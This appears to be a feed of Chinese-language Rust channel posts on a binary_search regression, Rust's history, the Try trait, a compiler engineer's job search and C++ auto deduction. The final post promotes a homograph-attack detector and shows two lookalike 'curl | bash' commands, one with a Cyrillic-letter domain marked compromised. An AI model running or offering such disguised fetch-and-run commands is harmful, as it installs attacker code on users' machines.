#Rust
国内知名Rust社区贡献者Folyd,之前曾经给Rust贡献了一个优化的二分查找实现:《优化 Rust 标准库的 binary_search》。
但是这个实现,会导致在有多个重复元素的情况下,返回是不确定的,最终导致了币圈某产品的翻车,这里可以看到作者的后续推文。
我们回到这个问题本身:除了撤销这个修改,下一步应该在Rust标准库里增加多个重复元素的测试用例了吧?
国内知名Rust社区贡献者Folyd,之前曾经给Rust贡献了一个优化的二分查找实现:《优化 Rust 标准库的 binary_search》。
但是这个实现,会导致在有多个重复元素的情况下,返回是不确定的,最终导致了币圈某产品的翻车,这里可以看到作者的后续推文。
我们回到这个问题本身:除了撤销这个修改,下一步应该在Rust标准库里增加多个重复元素的测试用例了吧?
GitHub
Folyd - Overview
Rust, Music enthusiast. Founder of @geddle. . Folyd has 66 repositories available. Follow their code on GitHub.
🤡7👍2🤷♀1👎1
#Rust
距离Rust 1.0发布,刚好过去了十年:《10 Years of Stable Rust: An Infrastructure Story》
距离Rust 1.0发布,刚好过去了十年:《10 Years of Stable Rust: An Infrastructure Story》
2006 年,软件开发者 Graydon Hoare 在 Mozilla 工作期间开始了 Rust 这个个人项目。根据《麻省理工科技评论》的一次采访,Rust 的灵感来自 Hoare 公寓楼里一部坏了的电梯。电梯操作系统的软件崩溃了,Hoare 意识到这类问题通常是由程序如何使用内存引起的。
通常情况下,这类设备的软件是用 C 或 C++编写的,但这些语言需要进行大量的内存管理,这可能会导致错误,从而导致系统崩溃。因此,霍尔开始着手研究如何创建一种既紧凑又无内存错误的编程语言。
他后来向一位经理展示了这个项目,这导致 Mozilla 在 2009 年赞助它,作为将该语言纳入实验性浏览器引擎开发的长期努力的一部分。2010 年,Mozilla 研究部正式宣布了 Rust 项目,并将源代码作为开源项目向公众发布。经过几年的开发,Rust 达到了稳定和成熟的状态,并于 2015 年 5 月发布了 Rust 1.0 版本。这个里程碑标志着 Rust 已经准备好用于生产,并为开发人员提供了一个基础。
blog.rust-lang.org
Announcing Rust 1.0 | Rust Blog
Empowering everyone to build reliable and efficient software.
❤9👍1🔥1
#Rust
之前一直以为,在Rust代码中只有返回Result类型的函数可以用?提前返回,没想到可不止这个类型,参见:https://doc.rust-lang.org/std/ops/trait.Try.html
之前一直以为,在Rust代码中只有返回Result类型的函数可以用?提前返回,没想到可不止这个类型,参见:https://doc.rust-lang.org/std/ops/trait.Try.html
👍3❤1
#Rust
Rust编译器贡献者 Nicholas Nethercote 在线找工作《I am a Rust compiler engineer looking for a new job》,连他也在抱怨“AI is sucking up a lot of money and attention in the tech world, leaving less for everything else.”。
Rust编译器贡献者 Nicholas Nethercote 在线找工作《I am a Rust compiler engineer looking for a new job》,连他也在抱怨“AI is sucking up a lot of money and attention in the tech world, leaving less for everything else.”。
Nicholas Nethercote
I am a Rust compiler engineer looking for a new job
UPDATE 2025-09-03: I have found a new job and will be starting next week. I will post more details soon. Many thanks to everyone who helped publicize this post and to everyone who contacted me about possible work. Rust is being used in many interesting places!
❤11
#C++
#Rust
#类型推断
C++后来引入了auto关键字用于类型推断,但是这个类型系统在Rust面前就是个弟弟,因为经常会给推出来可能编译报警的类型。
例如代码:
这在某些编译器上会报警:comparison of integer expressions of different signedness
这是因为这里的auto i进行类型推断时使用了int,而vector的size类型是size_t,一个是有符号整型,一个是无符号整型,在数据溢出的时候这个对比会判断出错,所以才有的这个告警。
我的问题是:既然如此,这里的auto i就应该推断成size_t才对。不然要你这个类型推断有何用啊?
#Rust
#类型推断
C++后来引入了auto关键字用于类型推断,但是这个类型系统在Rust面前就是个弟弟,因为经常会给推出来可能编译报警的类型。
例如代码:
for (auto i = 0; i < expected_actions.size(); ++i)
这在某些编译器上会报警:comparison of integer expressions of different signedness
这是因为这里的auto i进行类型推断时使用了int,而vector的size类型是size_t,一个是有符号整型,一个是无符号整型,在数据溢出的时候这个对比会判断出错,所以才有的这个告警。
我的问题是:既然如此,这里的auto i就应该推断成size_t才对。不然要你这个类型推断有何用啊?
❤1
#开源项目
#Rust
tirith
仅凭肉眼,根本看不出下面两个curl命令的区别:
#Rust
tirith
仅凭肉眼,根本看不出下面两个curl命令的区别:
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
👍35